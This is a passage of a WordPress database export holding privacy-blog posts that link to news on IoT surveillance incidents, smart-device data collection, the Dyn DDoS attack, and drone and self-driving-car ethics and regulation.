href=\"http://www.bna.com/lawyers-ready-pounce-n57982083985/?promocode=LIPP101AA&amp;utm_source=Twitter&amp;utm_medium=compcontent&amp;utm_campaign=BloombergLaw\" target=\"_blank\" rel=\"noreferrer noopener\">Lawyers Ready to Pounce if Companies Forget IoT Privacy</a></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.pearltrees.com/pearltreesone/drones-iot/id17167424#item196933539\" target=\"_blank\" rel=\"noreferrer noopener\">The Internet of Things\' Dangerous Future: Bruce&nbsp;Schneier</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.pearltrees.com/pearltreesone/drones-iot/id17167424#item196933543\" target=\"_blank\" rel=\"noreferrer noopener\">Can Your \'Smart\' Appliances Be Trusted with Your Personal Data? Probably&nbsp;Not...</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.pearltrees.com/dronelaw/iot/id16214596#item188076567\" target=\"_blank\" rel=\"noreferrer noopener\">Why securing IoT is a national-security&nbsp;imperative</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.linkedin.com/pulse/greatest-privacy-threat-all-our-connected-devices-vivek-wadhwa?trk=v-feed&amp;lipi=urn%3Ali%3Apage%3Ad_flagship3_profile_view_base_recent_activity_details_all%3BM7AT58bRIBgoi20j%2BcSRAw%3D%3D\" target=\"_blank\" rel=\"noreferrer noopener\">The greatest privacy threat of all: our connected devices</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.pearltrees.com/dronelaw/iot/id16214596#item188076588\" target=\"_blank\" rel=\"noreferrer noopener\">Will European Commission avert IoT privacy&nbsp;risks?</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.pearltrees.com/dronelaw/botnet-ddos-attack-security/id17241290\" target=\"_blank\" rel=\"noreferrer noopener\">Security of IoT, Botnet and DDoS</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>State surveillance since the last&nbsp;<a href=\"http://www.pearltrees.com/pearltreesone/state-surveillance/id17167443#item197737235\" target=\"_blank\" rel=\"noreferrer noopener\">Wikileaks revelations</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.pearltrees.com/pearltreesone/state-surveillance/id17167443#item197737235\" target=\"_blank\" rel=\"noreferrer noopener\">WikiLeaks: The CIA is using popular TVs, smartphones and cars to spy on their owners</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Keep coming back for more resources to be added on&nbsp;<a href=\"http://www.pearltrees.com/pearltreesone\" target=\"_blank\" rel=\"noreferrer noopener\">Pearltrees</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To follow on Internet Connected devices, read more here.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This work is licensed under a&nbsp;<a href=\"http://creativecommons.org/licenses/by/4.0/\" target=\"_blank\" rel=\"noreferrer noopener\">Creative Commons Attribution 4.0 International License</a>.<br></p>\n<!-- /wp:paragraph -->','Life Under Digits','Here are a series of incidents involving Internet connected technologies. What are the privacy and ethics implications?','publish','closed','closed','','life-under-digits','','https://clarinettesblog.wordpress.com/2012/02/07/would-you-like-a-webcam-in-your-bedrooms-and-bathrooms-broadcating-live/\nhttp://clarinettesblog.wordpress.com/2012/02/07/would-you-like-a-webcam-in-your-bedrooms-and-bathrooms-broadcating-live/','2020-05-02 13:08:54','2020-05-02 12:08:54','',0,'http://datarainbow.eu/?p=829',0,'post','',0),(830,5,'2020-05-02 13:08:51','2020-05-02 12:08:51','<!-- wp:paragraph -->\n<p>\"<em>Internet of Things (IoT) inaugurates new possibilities for the manufacturing industry, enabling the machines to become smarter by interacting with each other via internet connection. This may include devices that pose due to their speed, weight and other characteristics high security risk, notably connected cars. Other devices such as those comprising a smart home may pose lower safety and security risk yet equally high or higher IoT privacy risk, transmitting crucial information about their owners’ private lives.</em>\"</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Dolls are listening, Amazon Echo, Apple Siri, the smart fridge, the smart toaster, the home video camera surveillance broadcasting live, the pace maker data accessed by insurance company and .....what worth freedom? Let\'s turn off the smart TV for a lovely dumb world?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I previously reported the&nbsp;<a href=\"http://www.linkedin.com/pulse/challenges-artificial-intelligence-france-tara-taubman-bassirian-llm\" target=\"_blank\" rel=\"noreferrer noopener\">French Senate hearing on Artificial Intelligence and the questioning of experts</a>. I am leaving here a series of incidents involving Internet connected technologies. What are the privacy and ethics implications?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Our&nbsp;<a href=\"http://clarinettesblog.wordpress.com/2010/09/02/247/\" target=\"_blank\" rel=\"noreferrer noopener\">life is under digit</a>&nbsp;and it&nbsp;<a href=\"http://clarinettesblog.wordpress.com/2010/11/16/life-under-digit-continous/\" target=\"_blank\" rel=\"noreferrer noopener\">continues</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>You remember the&nbsp;<a href=\"http://www.linkedin.com/%E2%80%A6/apple-fbi-battle-security-v-priv%E2%80%A6\" target=\"_blank\" rel=\"noreferrer noopener\">Apple fight resisting FBI\'s access to an iPhone data</a>? Apple-FBI battle of Privacy v Security.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This time, it\'s&nbsp;<a href=\"http://Amazon resists Echo murder evidence call\" target=\"_blank\" rel=\"noreferrer noopener\">Amazon resists warrants for Echo data in Arkansas murder case</a>.&nbsp;<a href=\"http://news.vice.com/story/amazon-says-alexa-has-first-amendment-right-to-resist-giving-up-data-in-murder-case\" target=\"_blank\" rel=\"noreferrer noopener\">Amazon says the AI assistant has First Amendment right to resist giving up data in murder case</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>UPDATE :</strong>&nbsp;<a href=\"http://gizmodo.com/amazon-agrees-to-hand-over-data-in-echo-murder-case-1793039360\" target=\"_blank\" rel=\"noreferrer noopener\">Amazon Agrees to Hand Over Data in Echo Murder Case.</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2><a href=\"http://www.davidwolfe.com/google-recording-you/?c=jjh&amp;vp=%3Fc%3Dtesla\" target=\"_blank\" rel=\"noreferrer noopener\">Google Is Recording Everything You Say. Here’s How To Hear &amp; Delete The Recordings</a></h2>\n<!-- /wp:heading -->\n\n<!-- wp:heading -->\n<h2><a href=\"http://www.pearltrees.com/pearltreesone/medical-data-used-evidenchttp://www.pearltrees.com/pearltreesone/medical-data-used-evidence/id17167959e/id17167959\" target=\"_blank\" rel=\"noreferrer noopener\">Insurance company wants to access customer\'s medical data</a>&nbsp;:&nbsp;<a href=\"http://arstechnica.com/science/2017/02/ohio-mans-pacemaker-data-betrays-him-in-arson-insurance-fraud-case/?comments=1&amp;post=32787449\" target=\"_blank\" rel=\"noreferrer noopener\">Ohio man’s pacemaker data may betray him in arson, insurance fraud case</a></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Here comes the smart pill that allows patient’s tracking and surveillance ! ‘<a href=\"http://www.24heures.ch/sante-environnement/sante/Le-medicament-qui-vous-surveille/story/22010734\" target=\"_blank\" rel=\"noreferrer noopener\">Le médicament qui vous surveille.</a>‘<a href=\"http://www.20min.ch/ro/multimedia/stories/story/Le-medicament-qui-envoie-un-SMS-au-medecin-28458840\" target=\"_blank\" rel=\"noreferrer noopener\">Le médicament qui envoie un SMS au médecin</a>.&nbsp;<a href=\"http://www.pearltrees.com/pearltreesone/smart-pills-medicine/id17168147\" target=\"_blank\" rel=\"noreferrer noopener\">Intelligent Pills: A new ‘dawn’ in healthcare?</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2><a href=\"http://cdn.ampproject.org/c/s/thenextweb.com/facebook/2017/02/17/facebook-chrome-track-data-selfie/?amp=1\" target=\"_blank\" rel=\"noreferrer noopener\">This creepy tool reveals how Facebook’s AI tracks and studies your activity</a></h2>\n<!-- /wp:heading -->\n\n<!-- wp:heading -->\n<h2><a href=\"http://www.pearltrees.com/pearltreesone/smart-tvs/id17167819#item196932668\" target=\"_blank\" rel=\"noreferrer noopener\">Are you watching your TV or is your TV watching you?</a>&nbsp;<a href=\"http://www.pearltrees.com/pearltreesone/smart-tvs/id17167819#item196934643\" target=\"_blank\" rel=\"noreferrer noopener\">Samsung&nbsp;is warning customers&nbsp;about discussing personal information in front of their smart television set.</a></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://oneworldidentity.com/2017/02/07/vizio-will-pay-2-2m-fine-snooping-private-smart-tv-viewing-habits/\" target=\"_blank\" rel=\"noreferrer noopener\">Vizio will pay $2.2M fine for snooping on private smart TV viewing habits</a>\'</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2><a href=\"http://www.pearltrees.com/pearltreesone/drones-iot/id17167424#item196933533\" target=\"_blank\" rel=\"noreferrer noopener\">It\'s not just your TV that can track your habits without&nbsp;consent</a>.</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.pearltrees.com/pearltreesone/drones-iot/id17167424#item196933535\" target=\"_blank\" rel=\"noreferrer noopener\">Researchers discover over 170 million exposed IoT devices in major US&nbsp;cities</a>.&nbsp;<a href=\"http://www.pearltrees.com/dronelaw/iot/id16214596#item196579660\" target=\"_blank\" rel=\"noreferrer noopener\">Plus d\'objets connectés que d\'humains sur Terre |&nbsp;Comarketing-News</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Here is a&nbsp;<a href=\"http://www.pearltrees.com/pearltreesone/drones-iot/id17167424#item196933536\" target=\"_blank\" rel=\"noreferrer noopener\">Wearable AI that can detect the tone of a&nbsp;conversation</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2><a href=\"http://www.bbc.co.uk/news/world-europe-39002142?ocid=socialflow_twitter\" target=\"_blank\" rel=\"noreferrer noopener\">German parents told to destroy Cayla dolls over hacking fears</a></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://clarinettesblog.wordpress.com/2012/02/07/would-you-like-a-webcam-in-your-bedrooms-and-bathrooms-broadcating-live/\" target=\"_blank\" rel=\"noreferrer noopener\">Would you like a webcam in your bedrooms and bathrooms broadcasting&nbsp;live</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.pearltrees.com/pearltreesone#item196921624\" target=\"_blank\" rel=\"noreferrer noopener\">Big Brother Watch » The folly of CCTV in&nbsp;schools</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.pearltrees.com/clarinette02/smartphone-revealing-every/id2564764\" target=\"_blank\" rel=\"noreferrer noopener\">Smartphone revealing every&nbsp;move</a>.&nbsp;<a href=\"http://www.pearltrees.com/clarinette02/dangerous-possession-smartph/id2250166\" target=\"_blank\" rel=\"noreferrer noopener\">Your smartphone could be your most dangerous possession</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.pearltrees.com/pearltreesone/whatsapp/id17167797\" target=\"_blank\" rel=\"noreferrer noopener\">How to Change Your WhatsApp Settings Before Facebook Data Sharing Begins</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.pearltrees.com/clarinette02/tracking-inside-fridge-rfid/id4656121\" target=\"_blank\" rel=\"noreferrer noopener\">Is your refrigerator spying on&nbsp;you?</a>&nbsp;<a href=\"http://www.pearltrees.com/clarinette02/tracking-inside-fridge-rfid/id4656121#item116118666\" target=\"_blank\" rel=\"noreferrer noopener\">CIA: We\'ll spy on you through your&nbsp;refrigerator</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.theguardian.com/environment/2012/jul/01/household-energy-trackers-threat-privacy\" target=\"_blank\" rel=\"noreferrer noopener\">Energy smart meters are a threat to privacy, says watchdog</a>.&nbsp;<a href=\"http://www.theguardian.com/technology/2016/dec/29/smart-electricity-meters-dangerously-insecure-hackers\" target=\"_blank\" rel=\"noreferrer noopener\">Smart electricity meters can be dangerously insecure, warns expert</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.pearltrees.com/dronelaw/iot/id16214596#item196232986\" target=\"_blank\" rel=\"noreferrer noopener\">Wearable AI that can detect the tone of a&nbsp;conversation</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://clarinettesblog.wordpress.com/2012/02/07/would-you-like-a-webcam-in-your-bedrooms-and-bathrooms-broadcating-live/\" target=\"_blank\" rel=\"noreferrer noopener\">Would you like a webcam in your bedrooms and bathrooms broadcasting&nbsp;live</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.pearltrees.com/clarinette02/data-stored-copymachines-hd/id5211279\" target=\"_blank\" rel=\"noreferrer noopener\">Data stored by copy machines and printers</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.pearltrees.com/dronelaw/iot/id16214596#item185017405\" target=\"_blank\" rel=\"noreferrer noopener\">Remember that data-mining smart vibrator? The company\'s getting&nbsp;sued.</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.pearltrees.com/pearltreesone/drones-iot/id17167424#item196933256\" target=\"_blank\" rel=\"noreferrer noopener\">Connected car in the second-hand lot? Don\'t buy it if you\'re not hack-savvy</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.pearltrees.com/dronelaw/iot/id16214596#item184646065\" target=\"_blank\" rel=\"noreferrer noopener\">How Will Terrorists Use the Internet of Things? The Justice Department Is Trying to Figure That&nbsp;Out</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2><a href=\"http://www.pearltrees.com/dronelaw/dyn-ddos-attack/id16523089\" target=\"_blank\" rel=\"noreferrer noopener\">Dyn DDOS attack</a>&nbsp;:&nbsp;<a href=\"http://www.pearltrees.com/dronelaw/dyn-ddos-attack/id16523089#item188076710\" target=\"_blank\" rel=\"noreferrer noopener\">Internet outage takes down Twitter, Netflix, PayPal and many of the web\'s most visited websites</a>&nbsp;.&nbsp;<a href=\"http://www.pearltrees.com/dronelaw/dyn-ddos-attack/id16523089#item185774803\" target=\"_blank\" rel=\"noreferrer noopener\">Largest DDoS attack ever delivered by botnet of hijacked IoT&nbsp;devices</a>.&nbsp;<a href=\"http://www.pearltrees.com/dronelaw/dyn-ddos-attack/id16523089#item186066579\" target=\"_blank\" rel=\"noreferrer noopener\">IoT devices being increasingly used for DDoS&nbsp;attacks</a></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://enews.zdnet.com/ct/40719631:sjuyTalNG:m:1:716967210:D827116CB8CF9C428DD0125FBB9EB00D:r:22560840191682809058836988049432\" target=\"_blank\" rel=\"noreferrer noopener\">Think you\'re safe from hackers offline? This drone steals data from a PC\'s blinking LED</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.pearltrees.com/dronelaw/iot/id16214596#item183186312\" target=\"_blank\" rel=\"noreferrer noopener\">Hacking the Internet of Things: Locks and&nbsp;Thermostats</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.pearltrees.com/dronelaw/iot/id16214596#item183142276\" target=\"_blank\" rel=\"noreferrer noopener\">The IoT threat to privacy</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2><a href=\"http://ideas.ted.com/why-online-privacy-matters-and-how-to-protect-yours/\" target=\"_blank\" rel=\"noreferrer noopener\">Why online privacy matters — and how to protect yours</a></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Daniel Solove&nbsp;<a href=\"http://lnkd.in/dzjQVEU\" target=\"_blank\" rel=\"noreferrer noopener\">“I’ve Got Nothing to Hide” and Other Misunderstandings of Privacy</a>&nbsp;essay is getting a new wave of downloads</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.pearltrees.com/dronelaw/iot/id16214596#item191175709\" target=\"_blank\" rel=\"noreferrer noopener\">Perceptive Privacy Protectors Push for IoT Privacy&nbsp;Protections -</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.hldataprotection.com/2017/02/articles/international-eu-privacy/ico-turns-spotlight-on-data-broker-industry/?utm_source=feedburner&amp;utm_medium=feed&amp;utm_campaign=Feed%3A+ChronicleOfDataProtection+%28HL+Chronicle+of+Data+Protection%29\" target=\"_blank\" rel=\"noreferrer noopener\">ICO Turns Spotlight on Data Broker Industry</a>.&nbsp;<a href=\"http://www.pearltrees.com/clarinette02/information-becomes-currency/id6000980#item54926385\" target=\"_blank\" rel=\"noreferrer noopener\">Big Data age puts privacy in question as information becomes currency</a>. Data collection and blockage is a<a href=\"http://www.pearltrees.com/clarinette02/data-collection-biz/id5326982\" target=\"_blank\" rel=\"noreferrer noopener\">&nbsp;lucrative business</a>.&nbsp;<a href=\"http://www.pearltrees.com/clarinette02/data-collected-brockers/id10144116#item127127697\" target=\"_blank\" rel=\"noreferrer noopener\">The Dark Market for Personal Data</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2><a href=\"http://www.bna.com/lawyers-ready-pounce-n57982083985/?promocode=LIPP101AA&amp;utm_source=Twitter&amp;utm_medium=compcontent&amp;utm_campaign=BloombergLaw\" target=\"_blank\" rel=\"noreferrer noopener\">Lawyers Ready to Pounce if Companies Forget IoT Privacy</a></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.pearltrees.com/pearltreesone/drones-iot/id17167424#item196933539\" target=\"_blank\" rel=\"noreferrer noopener\">The Internet of Things\' Dangerous Future: Bruce&nbsp;Schneier</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.pearltrees.com/pearltreesone/drones-iot/id17167424#item196933543\" target=\"_blank\" rel=\"noreferrer noopener\">Can Your \'Smart\' Appliances Be Trusted with Your Personal Data? Probably&nbsp;Not...</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.pearltrees.com/dronelaw/iot/id16214596#item188076567\" target=\"_blank\" rel=\"noreferrer noopener\">Why securing IoT is a national-security&nbsp;imperative</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.linkedin.com/pulse/greatest-privacy-threat-all-our-connected-devices-vivek-wadhwa?trk=v-feed&amp;lipi=urn%3Ali%3Apage%3Ad_flagship3_profile_view_base_recent_activity_details_all%3BM7AT58bRIBgoi20j%2BcSRAw%3D%3D\" target=\"_blank\" rel=\"noreferrer noopener\">The greatest privacy threat of all: our connected devices</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.pearltrees.com/dronelaw/iot/id16214596#item188076588\" target=\"_blank\" rel=\"noreferrer noopener\">Will European Commission avert IoT privacy&nbsp;risks?</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.pearltrees.com/dronelaw/botnet-ddos-attack-security/id17241290\" target=\"_blank\" rel=\"noreferrer noopener\">Security of IoT, Botnet and DDoS</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>State surveillance since the last&nbsp;<a href=\"http://www.pearltrees.com/pearltreesone/state-surveillance/id17167443#item197737235\" target=\"_blank\" rel=\"noreferrer noopener\">Wikileaks revelations</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.pearltrees.com/pearltreesone/state-surveillance/id17167443#item197737235\" target=\"_blank\" rel=\"noreferrer noopener\">WikiLeaks: The CIA is using popular TVs, smartphones and cars to spy on their owners</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Keep coming back for more resources to be added on&nbsp;<a href=\"http://www.pearltrees.com/pearltreesone\" target=\"_blank\" rel=\"noreferrer noopener\">Pearltrees</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To follow on Internet Connected devices, read more here.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This work is licensed under a&nbsp;<a href=\"http://creativecommons.org/licenses/by/4.0/\" target=\"_blank\" rel=\"noreferrer noopener\">Creative Commons Attribution 4.0 International License</a>.<br></p>\n<!-- /wp:paragraph -->','Life Under Digits','Here are a series of incidents involving Internet connected technologies. What are the privacy and ethics implications?','inherit','closed','closed','','829-revision-v1','','','2020-05-02 13:08:51','2020-05-02 12:08:51','',829,'https://datarainbow.eu/2020/05/02/829-revision-v1/',0,'revision','',0),(831,5,'2020-05-02 13:14:45','2020-05-02 12:14:45','<!-- wp:paragraph -->\n<p>We have recently looking at Artificial Intelligence, after <a rel=\"noreferrer noopener\" href=\"https://www.linkedin.com/pulse/video-surveillance-technology-tara-taubman-bassirian?trk=mp-author-card\" target=\"_blank\">Police wearable cameras</a>, <a rel=\"noreferrer noopener\" href=\"https://www.linkedin.com/pulse/police-3d-printed-murder-victims-finger-unlock-his-taubman-bassirian?trk=mp-author-card\" target=\"_blank\">Police 3D Printing a digital finger</a>, <a rel=\"noreferrer noopener\" href=\"https://www.theguardian.com/technology/2016/jul/08/police-bomb-robot-explosive-killed-suspect-dallas\" target=\"_blank\">Police killing robots</a>, here comes a look at drones and <a rel=\"noreferrer noopener\" href=\"http://www.pearltrees.com/dronelaw/self-driving-cars/id16157882\" target=\"_blank\">\'driveless\'</a>or<a rel=\"noreferrer noopener\" href=\"http://www.pearltrees.com/dronelaw/self-driving-cars/id16157882\" target=\"_blank\"> \'autonomus\' cars</a>. <a rel=\"noreferrer noopener\" href=\"http://www.pearltrees.com/dronelaw/google-driveless/id16157941\" target=\"_blank\">Google</a> initiated the path, <a rel=\"noreferrer noopener\" href=\"http://www.pearltrees.com/dronelaw/telsa-cars/id16157944\" target=\"_blank\">Telsa</a> has been in the news for a recent accident. <a rel=\"noreferrer noopener\" href=\"http://fusion.net/story/324731/security-robot-runs-over-child/\" target=\"_blank\">\'Security robot accidentally attacks child\'</a>. Finally, but not the last incident to report, a <a rel=\"noreferrer noopener\" href=\"http://www.telegraph.co.uk/news/worldnews/asia/southkorea/11399713/Robot-vacuum-cleaner-attacks-South-Korea-housewifes-hair.html\" target=\"_blank\">\'Robot vacuum cleaner \'attacks\' South Korea housewife\'s hair\'. </a>All incidents that raise questions: what regulation and what ethics? Should a driver car put the driver\'s safety first or the road safety?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Sadly, there is no easy answer. Widely helped by Al Macintyre who has been collecting resources on these subjects. Thanks to the collaborative tool Pearltrees, here are more material for whoever interested on these subjects.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Jules Polonetsky from the Future of Privacy Forum has been active.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:quote -->\n<blockquote class=\"wp-block-quote\"><p>\'&nbsp;<em>in response to the Administration’s&nbsp;<a href=\"https://www.whitehouse.gov/webform/national-call-commitments-use-unmanned-aircraft-systems-protect-privacy-benefit-society-and-\" target=\"_blank\" rel=\"noreferrer noopener\">call-to-action</a>&nbsp;on privacy protections related to drone operations,&nbsp;<a href=\"https://fpf.org/\" target=\"_blank\" rel=\"noreferrer noopener\">Future of Privacy Forum (FPF)</a>,&nbsp;<a href=\"http://www.intel.com/\" target=\"_blank\" rel=\"noreferrer noopener\">Intel</a>, and&nbsp;<a href=\"http://www.precisionhawk.com/\" target=\"_blank\" rel=\"noreferrer noopener\">PrecisionHawk</a>&nbsp;released&nbsp;<a href=\"http://fpf.org/wp-content/uploads/2016/08/Drones_and_Privacy_by_Design_FPF_Intel_PrecisionHawk.pdf\" target=\"_blank\" rel=\"noreferrer noopener\">Drones and Privacy by Design: Embedding Privacy Enhancing Technology in Unmanned Aircraft</a>. The report highlights examples of privacy enhancing technologies and “Privacy-by-Design” applied to drones.</em></p></blockquote>\n<!-- /wp:quote -->\n\n<!-- wp:quote -->\n<blockquote class=\"wp-block-quote\"><p><em>\"Drones and Privacy by Design describes techniques that can be used to safeguard privacy and support responsible data practices, including practices described in the May 2016 stakeholder-drafted&nbsp;<a href=\"https://www.ntia.doc.gov/files/ntia/publications/uas_privacy_best_practices_6-21-16.pdf\" target=\"_blank\" rel=\"noreferrer noopener\">Voluntary Best Practices for UAS Privacy, Transparency, and Accountability</a>.&nbsp; “The best practices were developed through hard-won consensus within the drone community,” said John Verdi, FPF’s Vice President of Policy. “They articulate important principles that should guide drone operators’ data practices, and today’s report describes practical safeguards that can help operators implement those principles.”</em></p></blockquote>\n<!-- /wp:quote -->\n\n<!-- wp:paragraph -->\n<p>&nbsp;One scholar has long been studying the legal and ethical issues,&nbsp;<a href=\"http://www.pearltrees.com/dronelaw/ryan-calo/id16152989\" target=\"_blank\" rel=\"noreferrer noopener\">Ryan Calo</a>. I have collected most of his work, papers, interviews and videos.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>All to be found&nbsp;<a href=\"http://www.pearltrees.com/dronelaw\" target=\"_blank\" rel=\"noreferrer noopener\">here.</a>&nbsp;Drones and&nbsp;<a href=\"http://www.pearltrees.com/dronelaw/self-driving-cars/id16157882\" target=\"_blank\" rel=\"noreferrer noopener\">Driveless cars</a>&nbsp;with elements of regulations in most western countries.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>&nbsp;A good read in The Economist :&nbsp;<a href=\"http://www.economist.com/blogs/democracyinamerica/2015/03/drones-and-privacy\" target=\"_blank\" rel=\"noreferrer noopener\">\' Drones and privacy. A looming threat\'.</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>Picture, \'Le Monde Sans Dessus Dessous\', Photography by Tara Taubman Bassirian.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em><strong>This work is licensed under a&nbsp;<a href=\"http://creativecommons.org/licenses/by/4.0/\" target=\"_blank\" rel=\"noreferrer noopener\">Creative Commons Attribution 4.0 International License</a>.</strong></em>Report this</p>\n<!-- /wp:paragraph -->','Drones, Autonomus Cars, Ethics and Regulation','','publish','closed','closed','','drones-autonomus-cars-ethics-and-regulation','','','2020-05-02 13:14:49','2020-05-02 12:14:49','',0,'http://datarainbow.eu/?p=831',0,'post','',0),(832,5,'2020-05-02 13:14:45','2020-05-02 12:14:45','<!-- wp:paragraph -->\n<p>We have recently looking at Artificial Intelligence, after <a rel=\"noreferrer noopener\" href=\"https://www.linkedin.com/pulse/video-surveillance-technology-tara-taubman-bassirian?trk=mp-author-card\" target=\"_blank\">Police wearable cameras</a>, <a rel=\"noreferrer noopener\" href=\"https://www.linkedin.com/pulse/police-3d-printed-murder-victims-finger-unlock-his-taubman-bassirian?trk=mp-author-card\" target=\"_blank\">Police 3D Printing a digital finger</a>, <a rel=\"noreferrer noopener\" href=\"https://www.theguardian.com/technology/2016/jul/08/police-bomb-robot-explosive-killed-suspect-dallas\" target=\"_blank\">Police killing robots</a>, here comes a look at drones and <a rel=\"noreferrer noopener\" href=\"http://www.pearltrees.com/dronelaw/self-driving-cars/id16157882\" target=\"_blank\">\'driveless\'</a>or<a rel=\"noreferrer noopener\" href=\"http://www.pearltrees.com/dronelaw/self-driving-cars/id16157882\" target=\"_blank\"> \'autonomus\' cars</a>. <a rel=\"noreferrer noopener\" href=\"http://www.pearltrees.com/dronelaw/google-driveless/id16157941\" target=\"_blank\">Google</a> initiated the path, <a rel=\"noreferrer noopener\" href=\"http://www.pearltrees.com/dronelaw/telsa-cars/id16157944\" target=\"_blank\">Telsa</a> has been in the news for a recent accident. <a rel=\"noreferrer noopener\" href=\"http://fusion.net/story/324731/security-robot-runs-over-child/\" target=\"_blank\">\'Security robot accidentally attacks child\'</a>. Finally, but not the last incident to report, a <a rel=\"noreferrer noopener\" href=\"http://www.telegraph.co.uk/news/worldnews/asia/southkorea/11399713/Robot-vacuum-cleaner-attacks-South-Korea-housewifes-hair.html\" target=\"_blank\">\'Robot vacuum cleaner \'attacks\' South Korea housewife\'s hair\'. </a>All incidents that raise questions: what regulation and what ethics? Should a driver car put the driver\'s safety first or the road safety?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Sadly, there is no easy answer. Widely helped by Al Macintyre who has been collecting resources on these subjects. Thanks to the collaborative tool Pearltrees, here are more material for whoever interested on these subjects.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Jules Polonetsky from the Future of Privacy Forum has been active.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:quote -->\n<blockquote class=\"wp-block-quote\"><p>\'&nbsp;<em>in response to the Administration’s&nbsp;<a href=\"https://www.whitehouse.gov/webform/national-call-commitments-use-unmanned-aircraft-systems-protect-privacy-benefit-society-and-\" target=\"_blank\" rel=\"noreferrer noopener\">call-to-action</a>&nbsp;on privacy protections related to drone operations,&nbsp;<a 